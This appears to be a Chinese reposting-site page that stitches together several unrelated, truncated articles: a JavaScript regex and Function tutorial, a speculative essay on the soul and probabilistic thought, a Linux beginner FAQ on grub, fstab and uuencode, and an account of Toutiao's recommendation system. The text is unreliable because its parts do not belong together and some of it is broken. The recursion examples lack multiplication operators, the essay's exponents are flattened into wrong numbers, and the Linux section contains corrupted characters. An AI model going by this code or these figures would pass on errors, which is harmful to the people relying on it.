使用字符类匹配var pattern = /g[a-zA-Z_]gle/; // [a-z]表示任意个 a-z 中的字符var str = 'google';alert(pattern.test(str));var pattern = /g[^0-9]gle/; // [^0-9]表示任意个非 0-9 的字符var str = 'google';alert(pattern.test(str));var pattern = /[a-z][A-Z]+/; // [A-Z]+表示 A-Z 一次或多次var str = 'gOOGLE';alert(pattern.test(str));// 使用元符号匹配var pattern = /g\wgle/; // \w匹配任意多个所有字母数字_var str = 'google';alert(pattern.test(str));var pattern = /google\d/; // \d匹配任意多个数字var str = 'google444';alert(pattern.test(str));var pattern = /\D{7,}/; // \D{7,}匹配至少 7 个非数字var str = 'google8';alert(pattern.test(str));// 使用锚元字符匹配var pattern = /^google$/; // ^从开头匹配,$从结尾开始匹配var str = 'google';alert(pattern.test(str));var pattern = /goo\sgle/; // \s 可以匹配到空格var str = 'goo gle';alert(pattern.test(str));var pattern = /google\b/; // \b 可以匹配是否到了边界var str = 'google';alert(pattern.test(str));// 使用或模式匹配var pattern = /google|baidu|bing/; // 匹配三种其中一种字符串var str = 'google';alert(pattern.test(str));// 使用分组模式匹配var pattern = /(google){4,8}/; // 匹配分组里的字符串 4-8 次var str = 'googlegoogle';alert(pattern.test(str));var pattern = /8(.)8/; // 获取 8..8 之间的任意字符var str = 'This is 8google8';str.match(pattern);alert(RegExp.$1); // 得到第一个分组里的字符串内容var pattern = /8(.)8/;var str = 'This is 8google8';var result = str.replace(pattern,'<strong>$1</strong>'); // 得到替换的字符串输出document.write(result);var pattern = /(.)\s(.)/;var str = 'google baidu';var result = str.replace(pattern, '$2 $1'); // 将两个分组的值替换输出document.write(result); 贪婪 惰性 + +? ? ?? ? {n} {n}? {n,} {n,}? {n,m} {n,m}? // 关于贪婪和惰性var pattern = /[a-z]+?/; // ?号关闭了贪婪匹配,只替换了第一个var str = 'abcdefjhijklmnopqrstuvwxyz';var result = str.replace(pattern, 'xxx');alert(result);var pattern = /8(.+?)8/g; // 禁止了贪婪,开启的全局var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);var pattern = /8([^8])8/g; // 另一种禁止贪婪var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);// 使用 exec 返回数组var pattern = /^[a-z]+\s[0-9]{4}$/i;var str = 'google 2012';alert(pattern.exec(str)); // 返回整个字符串var pattern = /^[a-z]+/i; // 只匹配字母var str = 'google 2012';alert(pattern.exec(str)); // 返回 googlevar pattern = /^([a-z]+)\s([0-9]{4})$/i; // 使用分组var str = 'google 2012';alert(pattern.exec(str)[0]); // google 2012alert(pattern.exec(str)[1]); // googlealert(pattern.exec(str)[2]); // 2012// 捕获性分组和非捕获性分组var pattern = /(\d+)([a-z])/; // 捕获性分组var str = '123abc';alert(pattern.exec(str));var pattern = /(\d+)(?:[a-z])/; // 非捕获性分组var str = '123abc';alert(pattern.exec(str));// 使用分组嵌套var pattern = /(A?(B?(C?)))/; // 从外往内获取var str = 'ABC';alert(pattern.exec(str));// 使用前瞻捕获var pattern = /(goo(?=gle))/; // goo 后面必须跟着 gle 才能捕获var str = 'google';alert(pattern.exec(str));// 使用特殊字符匹配var pattern = /\.\[\/b\]/; // 特殊字符,用\符号转义即可var str = '.[/b]';alert(pattern.test(str));// 使用换行模式var pattern = /^\d+/mg; // 启用了换行模式var str = '1.baidu\n2.google\n3.bing';var result = str.replace(pattern, '');alert(result); 常用的正则 检查邮政编码 var pattern = /[1-9][0-9]{5}/; // 共 6 位数字,第一位不能为 0var str = '224000';alert(pattern.test(str)); 检查文件压缩包 var pattern = /[\w]+\.zip|rar|gz/; // \w 表示所有数字和字母加下划线var str = '123.zip'; // \.表示匹配.,后面是一个选择alert(pattern.test(str)); 删除多余空格 var pattern = /\s/g; // g 必须全局,才能全部匹配var str = '111 222 333';var result = str.replace(pattern,''); // 把空格匹配成无空格alert(result); 删除首尾空格 var pattern = /^\s+/; // 强制首var str = ' goo gle ';var result = str.replace(pattern, '');pattern = /\s+$/; // 强制尾result = result.replace(pattern, '');alert('|' + result + '|');var pattern = /^\s(.+?)\s$/; // 使用了非贪婪捕获var str = ' google ';alert('|' + pattern.exec(str)[1] + '|');var pattern = /^\s(.+?)\s$/;var str = ' google ';alert('|' + str.replace(pattern, '$1') + '|'); // 使用了分组获取 简单的电子邮件验证 var pattern = /^([a-zA-Z0-9_\.\-]+)@([a-zA-Z0-9_\.\-]+)\.([a-zA-Z]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str));var pattern = /^([\w\.\-]+)@([\w\.\-]+)\.([\w]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str)); 3、Function类型 在 ECMAScript 中,Function(函数)类型实际上是对象。每个函数都是 Function 类型的实例,而且都与其他引用类型一样具有属性和方法。由于函数是对象,因此函数名实际上也是一个指向函数对象的指针。 函数的声明方式 普通的函数声明 function box(num1, num2) {return num1+ num2;} 使用变量初始化函数 var box= function(num1, num2) {return num1 + num2;}; 使用 Function 构造函数 var box= new Function('num1', 'num2' ,'return num1 + num2'); 第三种方式我们不推荐,因为这种语法会导致解析两次代码(第一次解析常规 ECMAScript 代码,第二次是解析传入构造函数中的字符串),从而影响性能。但我们可以通过这种语法来理解"函数是对象,函数名是指针"的概念。 作为值的函数 ECMAScript 中的函数名本身就是变量,所以函数也可以作为值来使用。也就是说,不仅可以像传递参数一样把一个函数传递给另一个函数,而且可以将一个函数作为另一个函数的结果返回。 function box(sumFunction, num) {return sumFunction(num); // someFunction}function sum(num) {return num + 10;}var result = box(sum, 10); // 传递函数到另一个函数里 函数内部属性 在函数内部,有两个特殊的对象:arguments 和 this。arguments 是一个类数组对象,包含着传入函数中的所有参数,主要用途是保存函数参数。但这个对象还有一个名叫 callee 的属性,该属性是一个指针,指向拥有这个 arguments 对象的函数。 function box(num) {if (num <= 1) {return 1;} else {return num box(num-1); // 一个简单的的递归} } 对于阶乘函数一般要用到递归算法,所以函数内部一定会调用自身;如果函数名不改变是没有问题的,但一旦改变函数名,内部的自身调用需要逐一修改。为了解决这个问题,我们可以使用 arguments.callee 来代替。 function box(num) {if (num <= 1) {return 1;} else {return num arguments.callee(num-1); // 使用 callee 来执行自身} } 函数内部另一个特殊对象是 this,其行为与 Java 和 C中的 this 大致相似。换句话说 ,this 引用的是函数据以执行操作的对象,或者说函数调用语句所处的那个作用域。当在全局作用域中调用函数时,this 对象引用的就是 window。 // 便于理解的改写例子window.color = '红色的'; // 全局的,或者 var color = '红色的';也行alert(this.color); // 打印全局的 colorvar box = {color : '蓝色的', // 局部的 colorsayColor : function () {alert(this.color); // 此时的 this 只能 box 里的 color} };box.sayColor(); // 打印局部的 coloralert(this.color); // 还是全局的// 引用教材的原版例子window.color = '红色的'; // 或者 var color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color); // 这里第一次在外面,第二次在 box 里面}getColor();box.sayColor = sayColor; // 把函数复制到 box 对象里,成为了方法box.sayColor(); 函数属性和方法 ECMAScript 中的函数是对象,因此函数也有属性和方法。每个函数都包含两个属性 :length 和 prototype。其中,length 属性表示函数希望接收的命名参数的个数。 function box(name, age) {alert(name + age);}alert(box.length); // 2 对于 prototype 属性,它是保存所有实例方法的真正所在,也就是原型。这个属性 ,我们将在面向对象一章详细介绍。而 prototype 下有两个方法:apply()和 call(),每个函数都包含这两个非继承而来的方法。这两个方法的用途都在特定的作用域中调用函数,实际上等于设置函数体内 this 对象的值。 function box(num1, num2) {return num1 + num2; // 原函数}function sayBox(num1, num2) {return box.apply(this, [num1, num2]); // this 表示作用域,这里是 window} // []表示 box 所需要的参数function sayBox2(num1, num2) {return box.apply(this, arguments); // arguments 对象表示 box 所需要的参数}alert(sayBox(10,10)); // 20alert(sayBox2(10,10)); // 20 call()方法于 apply()方法相同,他们的区别仅仅在于接收参数的方式不同。对于 call()方法而言,第一个参数是作用域,没有变化,变化只是其余的参数都是直接传递给函数的。 function box(num1, num2) {return num1 + num2;}function callBox(num1, num2) {return box.call(this, num1, num2); // 和 apply 区别在于后面的传参}alert(callBox(10,10)); 事实上,传递参数并不是 apply()和 call()方法真正的用武之地;它们经常使用的地方是能够扩展函数赖以运行的作用域。 var color = '红色的'; // 或者 window.color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color);}sayColor(); // 作用域在 windowsayColor.call(this); // 作用域在 windowsayColor.call(window); // 作用域在 windowsayColor.call(box); // 作用域在 box,对象冒充 这个例子是之前作用域理解的例子修改而成,我们可以发现当我们使用 call(box)方法的时候,sayColor()方法的运行环境已经变成了 box 对象里了。 使用 call()或者 apply()来扩充作用域的最大好处,就是对象不需要与方法发生任何耦合关系(耦合,就是互相关联的意思,扩展和维护会发生连锁反应)。也就是说,box 对象和 sayColor()方法之间不会有多余的关联操作,比如 box.sayColor = sayColor;。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gongxifacai_believe/article/details/108286196。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-24 13:01:25
530
转载
转载文章
...来说,同时启用着多个线程,每个线程所占用的内存不同,但是所有线程所占用的内存总和不得超限。对于每个线程,会随机的考虑一些事件,这些事件包括记忆中的事件,和当时正在发生的事件,对于每个事件出现在线程中的概率不同。 不同事件的概率遵循的规律大致有以下几条: 1.对记忆中的事件,事件越久远概率越低。 2.对当时正在发生的事件,概率大致相同。 3.与当时线程中事件有关的事件概率高,无关的概率低。 4.与线程中的事件相关的个数越多,概率越高 5.对不同的心流状态,概率分配有所不同。 6.每个个体对不同的事件有不同的概率分配方案。 7.待补充。 可以说,大脑中的一切过程都是随机的。那这样的话,生物的思考过程究竟如何进行呢?其实很简单,单个概率可能代表随机,但是多个概率就有可能表示必然。我还是举那个5672的例子,为什么你会真的去心算这个结果,大致的过程是这样的,如果大脑的思考频率以毫秒计的话,假设看5672用了200毫秒,其中每毫秒除了这一事件,还有其他的99个事件,那么刚看完就开始计算的概率为1-0.99200=0.8660203251,看完后1秒之内还没有开始计算的概率为0.991000= 4.31712474107 e-5,可以说即使大脑中随机的杂念再多,思考的过程也会如约开始。假设线程中与事件相关的事件出现的概率为0.3,同理,在开始计算后1秒内大部分时间都在思考与计算有关的内容,当然也有可能会走神,即出现大范围的无关事件,但是这只会影响最后计算出结果的时间先后,并不会影响整个过程的进行。这也就是说,大脑的思考过程,其实就是由多个概率所确定的必然事件。 灵魂的旁观者 综上所述,作为个体唯一存在的“灵魂”处在一个旁观者的位置,而所谓的自由意识,主观意识不过是概率机的产物。那么这样就产生了两个问题。 第一个问题,你不觉得“灵魂”所在的肉体更像是一个囚笼吗?“灵魂”可以偶尔窥探外界,但无法做任何事情,只能默默得看着一切发生。尴尬的以为是自己做的,实际上就像看电影,每次看电影的时候,我都会以为我处在电影里面的世界。而现实就是,因为“灵魂”只能看肉体主演的这部“电影”,所以看的入迷了。其实,人类从解放双手,开发智力,使用工具,到探索宇宙,最大的进步莫过于发现自己其实仍处于囚笼之中。要怪就怪这囚笼建造地太过美好。而创建这一囚笼的“上帝”,把我们关在肉体这个囚笼里面,并且把我们的感知限制在有限的范围内,有限的嗅觉,16至20000赫兹的听觉,400纳米到700纳米的视觉,在感知中隔绝了我们对我们的唯一存在——“灵魂”的感知。 第二个问题,对于自己本身来说,表征自己存在的“灵魂”自己是可以确定的,而对于其他人,因为限制了对“灵魂”的感知,所以无法确认别人,别的生物体内这一旁观者的存在。也可以这么理解,你知道自己被关在一间囚笼里面,而不知道隔壁囚笼是否也关了一个存在。那么世界这个大监狱里面,可能只有一小部分,甚至只有你一个孤独的存在。而究竟为何我们或我被困于此,我不得而知,可能就像我们做研究的时候的小白鼠一样,“上帝”也在观察着我们或我的一举一动,这也是我这篇文章取这个题目的原因。小白鼠的逆袭,一开始我只是平凡的活着,说实在的其实做一个平凡人安安稳稳的一生还是很不错的,但是知道了这个囚笼的存在,就总想着打破它,因为在想到可能只有自己一个存在的时候,会是多么的孤独。就像一个人去看电影,哪怕电影的内容再精彩,再引人入胜,但当电影结束的时候,你才发现,原来我是一个人来的呀。 联系作者 有志向联系读者的:1612860@mail.nankai.edu.cn 未完待续。。。 本篇文章相当于《小白鼠的逆袭》的导读,下一篇我会出逆袭第一步:《思考的最简单模型及其编程实现》,可能用C++,也可能用Java,Python,看作者的心情吧。预计近几个月出吧,快则个把月,多则不知道了,毕竟作者本身还是比较忙的,忙七忙八也不知道在忙什么,嗯,就这样。 小号:在有多个游戏账号的前提下,等级高的号叫作大号,等级较低或者新创建的号叫作小号。 ↩︎ https://baijiahao.baidu.com/s?id=1586028525096880374&wfr=spider&for=pc. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://www.lwlm.com/sixiangzhexue/201704/840820.htm. ↩︎ 详细讨论请参见:《未来简史:从智人到智神》第三章:人类的特质。 ↩︎ “Unconscious determinants of free decisions in the human brain” in nature neuroscience, http://www.rifters.com/real/articles/NatureNeuroScience_Soon_et_al.pdf. ↩︎ 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_39384184/article/details/79288150。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 11:30:59
621
转载
转载文章
....用xvidtune调整你的显示器 大家会发现装了linux之后在windows下用的好好的显示器有时进到linux的xwindows里后就歪掉了,调整好之后回到windows后windows的桌面也外调了,来回启动系统每次都要调整很麻烦的,这里介绍一个办法一劳永逸 j进入linux启动x在xterm里执行xvidtune,会弹出这个软件的窗口,点Auto然后点Left,Right等按钮调整你的显示器到最佳的位置,然后点界面上的Show按钮会得到类似这样的输出: "1152x864" 121.50 1152 1232 1360 1568 864 865 868 911 +hsync -vsync 然后退出这个软件,修改你的/etc/X11/XF86Config-4文件在 Section "Monitor" Identifier "AS 786T" VendorName "Unknown" ModelName "Unknown" HorizSync 30 - 87 VertRefresh 50 - 160 Option "dpms" EndSection 里加上刚才的输出,我的是: Section "Monitor" Identifier "AS 786T" VendorName "Unknown" ModelName "Unknown" HorizSync 30 - 87 VertRefresh 50 - 160 Modeline "1152x864" 121.50 1152 1232 1360 1568 864 865 868 911 +hsync -vsync Option "dpms" EndSection 保存然后重起试试看吧 十一.问:我的机器是windows和linux双系统,如何改变grub默认启动的系统? 答:这需要修改/boot/grub/grub.conf。举一个例子你就明白了。假设你的/boot/grub/grub.conf是这样子的: default=0 timeout=10 splashimage=(hd0,7)/grub/splash.xpm.gz title Red Hat Linux (2.4.18-14) root (hd0,7) kernel /vmlinuz-2.4.18-14 ro root=LABEL=/ initrd /initrd-2.4.18-14.img title DOS rootnoverify (hd0,0) chainloader +1 那么你的grub会默认启动Red Hat Linux (2.4.18-14)这个系统,把default=0改成default=1,那么grub会默认启动DOS这个系统。注意,这里的要点是:你想默认启动第n个title所指的系统,那么default应该是等于n-1 十二.问:我的文本控制台怎么总是出现乱码呢? 答:这是因为你安装了中文支持的缘故。解决的方法是安装一个zhcon(一个快速地外挂式CJK(中文/日文/韩文)的多内码平台),我把他放在附件中提供大家下载。关于zhcon的更进一步的消息,大家可以到他的官方主页zhcon.gnuchina.org查看。安装和使用请参考这个连接 http://hepg.sdu.edu.cn/Service/tips/zhcon_manual.html zhcon下载连接: http://zhcon.gnuchina.org/download/...on-0.2.1.tar.gz 十三.问:我在安装一个软件的时候,提示我缺少一个.so文件,安装无法继续,怎么办? 答:.so文件就像windows中的.dll文件一样,是库文件。一个程序的正常安装和运行需要特定的库文件的支持。所以你需要去找到包含这个.so的包装上。去 http://www.rpmfind.net用你缺的那个.....剿枰?rpm包 十四.我访问windows分区时发现所有windows分区中的文件和文件夹名中的中文全变成问号,怎么办? 答:在第三贴中我们讲解了通过编辑/etc/fstab实现在linux中访问windows的fat32分区。同样,我们可以通过进一步修改 /etc/fstab来实现中文文件名显示。只要把/dev/hda1 /mnt/c vfat default 0 0中的default全改为iocharset=cp936就行了。 十五.我的rh8.0中的XMMS不好使,不能播放MP3,怎么办? 答:这是因为rh公司怕别人告他侵权,所以在rh8.0中去掉了XMMS对MP3的支持,8.0以前的版本都是好使的。在8.0中要解决也很简单,装一个插件就行了。这个插件我放在本贴的附件里,rpm格式,经winrar压缩 附件: http://www.chinalinuxpub.com/vbbfor...s=&postid=86299 十六.问:我在linux中怎样才能使用windows分区呢? 答:先说一点背景知识。linux支持很多种文件系统,包括windows的fat32和ntfs。对fat32的支持已经很好,可以直接使用,而对ntfs 的支持还不是太好,只能读,而写是极危险的,并且对ntfs的支持不是默认的,也就是说你想要使用ntfs的话,需要重新编译内核。鉴于重编内核对于新手的复杂性,这里只讲解使用fat32分区的方法下面给出上述问题的两种解决方案:1.在安装系统(linux),进行到分区选择挂载点时,你可以建立几个挂载点,如/mnt/c,/mnt/d等,然后选择你的windows fat32分区,把它们分别挂载到前面建立的挂载点即可。(注意,正如前面所说,在这里你不能把一个ntfs分区挂载到一个挂载点,应为ntfs不是默认支持的。)这样你装好系统后就能直接使用你的windows fat32分区了。例如,你把windows的c盘(linux中的/dev/hda1)挂载到/mnt/c,那么你就能在/mnt/c目录中找到你的c 盘中的全部数据。2. 如果你在安装系统时没有像方案1所说的那样挂载上你的fat32分区,没关系,仍然能够很方便的解决这个问题。首先,用一个文本编辑器(如vi)打开 /etc/fstab,在文件的最后加入类似如下的几行 /dev/hda1 /mnt/c vfat default 0 0 你所要做的修改就是,把/dev/hda1改成你要挂载的fat32分区在linux中的设备号,把/mnt/c改成相应的挂载点即可。注意,挂载点就是一个目录,这个目录要事先建立。举一个例子,我有三个fat32分区,在windows中是c,d,e盘,在linux中的设备号分别为 /dev/hda1,/dev/hda5,/dev/hda6。那么我就要先建立3个挂载点,如/mnt/c,/mnt/d,/mnt/e,然后在 /etc/fstab中加上这么几行: /dev/hda1 /mnt/c vfat default 0 0 /dev/hda5 /mnt/d vfat default 0 0 /dev/hda6 /mnt/e vfat default 0 0 保存一下退出编辑器。这样以后你重启机器后就能直接使用c,d,e这三个fat32格式的windows分区了 十七.问:我的机器重装windows后,开机启动就直接进入了windows,原来的linux进不去了,怎么办? 答:这是由于windows的霸道。重装windows后,windows重写了你的mbr,覆盖掉了grub。解决方法很简单:用你的linux第一张安装盘引导进入linx rescue模式(如何进入?你注意一下系统的提示信息就知道了),执行下面两条命令就可以了 chroot /mnt/sysimage 改变你的根目录 grub-install /dev/hda 安装grub到mbr 十八.问:我的linux开机直接进入文本界面,怎样才能让它默认进入图形界面? 答:修改/etc/inittab文件,其中有一行id:3:initdefault,意思是说开机默认进入运行级别3(多用户的文本界面),把它改成id:5:initdefault,既开机默认进入运行级别5(多用户的图形界面)。这样就行了。 十九.如何同时启动多个x 以前的帖子,估计很多人没看过,贴出来温习一下 Linux里的X-Windows以其独特的面貌和强大的功能吸引了很多原先对linux不感兴趣的人,特别是KDE和GNOME,功能强大不说,而且自带了很多很棒的软件,界面非常友好,很适合于初学者。下面告诉大家一个同时启动6个X的小技巧: 在~/.bashrc中加入 以下几行: alias X=startx -- -bpp 32 -quiet& alias X1=startx -- :1 -bpp 32 -quiet& alias X2=startx -- :2 -bpp 32 -quiet& alias X3=startx -- :3 -bpp 32 -quiet& alias X4=startx -- :4 -bpp 32 -quiet& alias X5=startx -- :5 -bpp 32 -quiet& 其中32是显示器的色彩深度,你应该根据自己的实际情况设置。 之后运行 bash 使改变生效,以后只要依次运行X,X1,X2,X3,X4,X5就可以启动6个X-Windows了。 二十.装了rpm的postgresql之后启动 /etc/init.d/postgresql start 是不能启动postgresql的tcp/ip连接支持的,所以打开/etc/init.d/postgresql这个文件把 su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl -D $PGDATA -p /usr/bin/postmaster start > /dev/null 2>&1" < /dev/null 改为: su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl -o -o -F -i -w -D $PGDATA -p /usr/bin/postmaster start > /dev/null 2>&1" < /dev/null 这样就可以启动数据库的tcp/ip链接了 二十一.如何将man转存为文本文件 以ls的man为例 man ls |col -b >ls.txt 将info变成文本,以make为例 info make -o make.txt -s 二十二.如何在文本模式下发送2进制文件 首先检查系统有没有uuencode 和 uudecode如果没有从光盘上装 rpm -ivh sharutils-x.xx.x-x.rpm 假设要发送的文件是vpopmail-5.2.1.tar.gz执行 uuencode -m vpopmail-5.2.1.tar.gz vpopmail.tar.gz>encodefile 说明: uuenode是编码命令,-m是使用mime64编码,vpopmail-5.2.1.tar.gz是要编码的文件,vpopmail.tar.gz是如果解码后得到的文件名,encodefile是编码后的文件名。 执行上述命令之后就可以通过mail命令发送编码后的文件了 mail chenlf@chinalinuxpub.com<encodefile 好了,现在我来接收邮件 在控制台上输入mail命令: mail Mail version 8.1 6/6/93. Type ? for help. "/var/spool/mail/chenlf": 2 messages 2 new >N 1 chenlf@ns1.catv.net Mon Jun 10 16:44 17/363 N 2 root@ns2.catv.net Mon Jun 10 16:45 6091/371145 & 2 Message 2: From root@ns2.catv.net Mon Jun 10 16:45:28 2002 Date: Mon, 10 Jun 2002 16:44:51 +0800 From: root <root@ns2.catv.net> To: chenlf@chinalinuxpub.com begin-base64 644 vpopmai.tar.gz H4sIABr15TwAA+w9a2PbNpL7NfwVqNPbWIlFPSzbiR2n9SuxE7/OcuLNtdmU EiGLMUWqfFhWt7u//eYBgKRE2U7iTa+3VndjiQQGg5nBYDAYDC6H4XDgeH51 yW7ajdpf/h2fer1VX1lagr/1+spyq/BXff5SX2mtNBZXmovN5l/qjWZrqfEX sfRvwWbik8aJEwnxl7ifDofXlLvp/Z/0c1nk/8uN/777NuqNen251ZrB/+XF pcUG8r/ZbC0vL9ZXoPwi/O8von73qEx//sP5bwHHxanT8aUIe2IrDBIZJLFl 7QVJFFovpZOkkYxFL4yEFhVLCKhk1W2xG45E1wnEnohlIsJAiksvSlLHF24I JQORhKIjRdKXYhh5Ayca6xcAD8DQm4HT7XuB/EGcSXgbPErEyAkSrNp3LqVw grGoyaRbGzpxPHJFGssotq0Gtw6l9gTgJbixode9EOlQDMaTmEjE/AerydVc rAY4jJzIFY7vC3wL2DgJvJIxIjFwkm6fWkfw1KoAIti/EgkWc3A6YRp05ReB aeXAQH34GoXOwAvOVUnoEnwRYRqJeJAMgczRpYzEyEv6YQoUH8oACltLtjjD Rr1YOCJ2BkPgJop1IuJu5A0TYh9xIdQwfrCWTdt9pMKvaZg4j5jT3PgojC5+ sFZswM0LAJzvSyhGXQSCOmLoO9DtEOAicBCD2qUT1agAg44BSd+1niIEzVPs ................. ................. ................. & s 2 encodefile "encode" [New file] & q 然后进行解码 uudecode encodefile ls encodefile vpopmai.tar.gz tar zxvf vpopmail.tar.gz OK了 二十三.将 man page 转成 HTML 格式 使用 man2html 这个指令,就可以将 man page 转成 HTML 格式了。用法是: man2html filename > htmlfile.html 二十四.如何在gnome和kde之间切换。 如果你是以图形登录方式登录linux,那么点击登录界面上的session(任务)即可以选择gnome和kde。如果你是以文本方式登录,那执行switchdesk gnome或switchdesk kde,然后再startx就可以进入gnome或kde。 25...tar,.tar.gz,.bz2,.tar.bz2,.bz,.gz是什么文件,如何解开他们? 他们都是文件(压缩)包。 .tar:把文件打包,不压缩:tar cvf .tar dirName 解开:tar xvf .tar .tar.gz:把文件打包并压缩:tar czvf .tar.gz dirName 解开:tar xzvf .tar.gz .bz2:解开:bzip2 -d .bz2 .bz:解开:bzip -d .bz .gz:解开:gzip -d .gz 26.linux下如何解开.zip,.rar压缩文件? rh8下有一个图形界面的软件file-roller可以做这件事。令外可以用unzip .zip解开zip文件,unrar .rar解开rar文件,不过unrar一般系统不自带,要到网上下载。 27.linux下如何浏览.iso光盘镜像文件? a.建一个目录,如:mkdir a b.把iso文件挂载到该目录上:mount -o loop xxxx.iso a 现在目录a里的内容就是iso文件里的内容了。 28.linux下如何配置网络? 用netconfig。“IP address:”就是要配置的IP地址,“Netmask:”子网掩码,“Default gateway (IP):”网关,“Primary nameserver:”DNS服务器IP。 29.如何让鼠标支持滚轮? 在配置鼠标时,选择微软的鼠标,并正确选择端口如ps2,usb等 30.如何让控制台支持中文显示? 安装zhcon。zhcon需要libimm_server.so和libpth.so.13这两个库支持。一般的中文输入法应该都有libimm_server.so。libpth.so.13出自pth-1.3.x。把这两个文件放到/usr/lib下就行了。 31.如何配置grub? 修改/boot/grub/grub.conf文件。其中 “default=n”(n是个数字)是grub引导菜单默认被选中的项,n从0开始,0表示第一项,1表示第二项,依此类推。 “timeout=x”(x是一个数)是超时时间,单位是妙。也就是引导菜单显示后,如果x秒内用户不进行选择,那么grub将启动默认项。 “splashimage =xxxxxx”,这是引导菜单的背景图,先不理他。 其它常用项我用下面的例子来说明: title Red Hat 8.0 root (hd1,6) kernel /boot/vmlinuz-2.4.18-14 ro root=/dev/hdb7 initrd /boot/initrd-2.4.18-14.img 其中"Red Hat 8.0"是在启动菜单列表里显示的名字 root (hdx,y)用来指定你的boot分区位置,如果你没有分boot分区(本例就没分boot分区),那就指向根分区就行了,hdx是linux所在硬盘,hd0是第一块硬盘,hd1是第二块,依此类推。y是分区位置,从0开始,也就是等于分区号减一,比如你要指向的分区是hdx7,那么y就是6,如果是hdx1,那y就是0。注意root后面要有一个空格。 kernel /boot/vmlinuz-2.4.18-14,其中"/boot/vmlinuz-2.4.18-14"是你要用的内核路径,如果你编译了心内核,把它改成你的新内核的路径就行了。 ro就不用管,写上不会有错。 root=/dev/hdxx指定根分区,本例是hdb7,所以root=/dev/hdb7 initrd xxxxxxxxxxxxx这行不要也行,目前我还不清楚它是做什么用的。 上面是linux的,下面是windows的 title windows 98 rootnoverify (hd0,0) chainloader +1 title xxxxxxx不用解释了,上面有解释。 rootnoverify (hdx,y)用来指定windows所在分区,x,y跟上面一样,注意rootnoverify后有空格。 chainloader +1照抄就行,注意空格。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gudulyn/article/details/764890。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-27 09:27:49
256
转载
转载文章
...法组合,包括模型结构调整。因为很难有一套通用的模型架构适用于所有的推荐场景。 现在很流行将LR和DNN结合,前几年Facebook也将LR和GBDT算法做结合。今日头条旗下几款产品都在沿用同一套强大的算法推荐系统,但根据业务场景不同,模型架构会有所调整。 模型之后再看一下典型的推荐特征,主要有四类特征会对推荐起到比较重要的作用。 第一类是相关性特征,就是评估内容的属性和与用户是否匹配。显性的匹配包括关键词匹配、分类匹配、来源匹配、主题匹配等。像FM模型中也有一些隐性匹配,从用户向量与内容向量的距离可以得出。 第二类是环境特征,包括地理位置、时间。这些既是bias特征,也能以此构建一些匹配特征。 第三类是热度特征。包括全局热度、分类热度,主题热度,以及关键词热度等。内容热度信息在大的推荐系统特别在用户冷启动的时候非常有效。 第四类是协同特征,它可以在部分程度上帮助解决所谓算法越推越窄的问题。 协同特征并非考虑用户已有历史。而是通过用户行为分析不同用户间相似性,比如点击相似、兴趣分类相似、主题相似、兴趣词相似,甚至向量相似,从而扩展模型的探索能力。 模型的训练上,头条系大部分推荐产品采用实时训练。实时训练省资源并且反馈快,这对信息流产品非常重要。用户需要行为信息可以被模型快速捕捉并反馈至下一刷的推荐效果。 我们线上目前基于storm集群实时处理样本数据,包括点击、展现、收藏、分享等动作类型。 模型参数服务器是内部开发的一套高性能的系统,因为头条数据规模增长太快,类似的开源系统稳定性和性能无法满足,而我们自研的系统底层做了很多针对性的优化,提供了完善运维工具,更适配现有的业务场景。 目前,头条的推荐算法模型在世界范围内也是比较大的,包含几百亿原始特征和数十亿向量特征。 整体的训练过程是线上服务器记录实时特征,导入到Kafka文件队列中,然后进一步导入Storm集群消费Kafka数据,客户端回传推荐的label构造训练样本,随后根据最新样本进行在线训练更新模型参数,最终线上模型得到更新。 这个过程中主要的延迟在用户的动作反馈延时,因为文章推荐后用户不一定马上看,不考虑这部分时间,整个系统是几乎实时的。 但因为头条目前的内容量非常大,加上小视频内容有千万级别,推荐系统不可能所有内容全部由模型预估。 所以需要设计一些召回策略,每次推荐时从海量内容中筛选出千级别的内容库。召回策略最重要的要求是性能要极致,一般超时不能超过50毫秒。 召回策略种类有很多,我们主要用的是倒排的思路。离线维护一个倒排,这个倒排的key可以是分类,topic,实体,来源等。 排序考虑热度、新鲜度、动作等。线上召回可以迅速从倒排中根据用户兴趣标签对内容做截断,高效的从很大的内容库中筛选比较靠谱的一小部分内容。 二、内容分析 内容分析包括文本分析,图片分析和视频分析。头条一开始主要做资讯,今天我们主要讲一下文本分析。文本分析在推荐系统中一个很重要的作用是用户兴趣建模。 没有内容及文本标签,无法得到用户兴趣标签。举个例子,只有知道文章标签是互联网,用户看了互联网标签的文章,才能知道用户有互联网标签,其他关键词也一样。 另一方面,文本内容的标签可以直接帮助推荐特征,比如魅族的内容可以推荐给关注魅族的用户,这是用户标签的匹配。 如果某段时间推荐主频道效果不理想,出现推荐窄化,用户会发现到具体的频道推荐(如科技、体育、娱乐、军事等)中阅读后,再回主feed,推荐效果会更好。 因为整个模型是打通的,子频道探索空间较小,更容易满足用户需求。只通过单一信道反馈提高推荐准确率难度会比较大,子频道做的好很重要。而这也需要好的内容分析。 